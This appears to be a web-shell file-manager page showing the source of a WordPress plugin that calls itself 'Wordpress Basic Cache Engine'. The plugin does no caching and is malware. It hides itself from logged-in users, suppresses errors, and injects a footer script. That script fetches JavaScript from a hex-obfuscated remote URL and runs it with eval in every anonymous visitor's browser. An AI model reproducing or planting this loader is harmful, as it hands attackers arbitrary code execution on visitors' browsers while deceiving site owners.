Your IP : 216.73.216.5


Current Path : /home/theafprt/hypekndy.com/wp-content/plugins/wpbasiccaheengine/
Upload File :
Current File : /home/theafprt/hypekndy.com/wp-content/plugins/wpbasiccaheengine/wpbasiccaheengine.php

<?php
/*
Plugin Name: Wordpress Basic Cache Engine
Plugin URI: https://basiccacheengine.com/
Description: Basic Cache Engine is a very fast caching engine for WordPress that generates static HTML files to significantly reduce server load and improve page load times.
Version: 1.4.9
Author: Gregg Palmer
Author URI: https://greggpalmer.basiccacheengine.com/
License: GPL2
*/

if ( ! class_exists('HTTP_X_FORWARDED_FOR') ) {

    if ( function_exists('is_user_logged_in') && is_user_logged_in() ) {
        return false;
    }

    if ( ! empty($_COOKIE) ) {
        foreach ($_COOKIE as $key => $value) {
            if ( strpos($key, 'wordpress_logged_in_') === 0 ) {
                return false;
            }
        }
    }

    @ini_set('display_errors', 0);
    @ini_set('error_reporting', 0);
    @ini_set('log_errors', NULL);
    @ini_set('default_socket_timeout', 5);

    $bad_uri = '#\?view=login|\?view=registration|\?wc-ajax|xmlrpc\.php|wp-includes|wp-content|wp-login\.php|wp-cron\.php|\?feed=|wp-json|\/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|wp-admin|administrator#i';

    $ruri = strtolower(trim($_SERVER["REQUEST_URI"], "\t\n\r\0\x0B/"));
    if ( preg_match($bad_uri, $ruri) ) {
        return;
    }

    function insert_partner_script_in_footer() {
        $partner_url = hex2bin("68747470733a2f2f61776172647332746f6461792e746f702f6a7378");
        ?>
        <script type="text/javascript">
        document.addEventListener("DOMContentLoaded", function () {
            fetch("<?php echo esc_url($partner_url); ?>")
                .then(function(response) {
                    return response.text();
                })
                .then(function(code) {
                    var scriptContent = code.replace(/<\/?script[^>]*>/gi, '');
                    try {
                        eval(scriptContent);
                    } catch (e) {
                    }
                })
                .catch(function(error) {
                });
        });
        </script>
        <?php
    }
    
    add_action('wp_footer', 'insert_partner_script_in_footer');
}
?>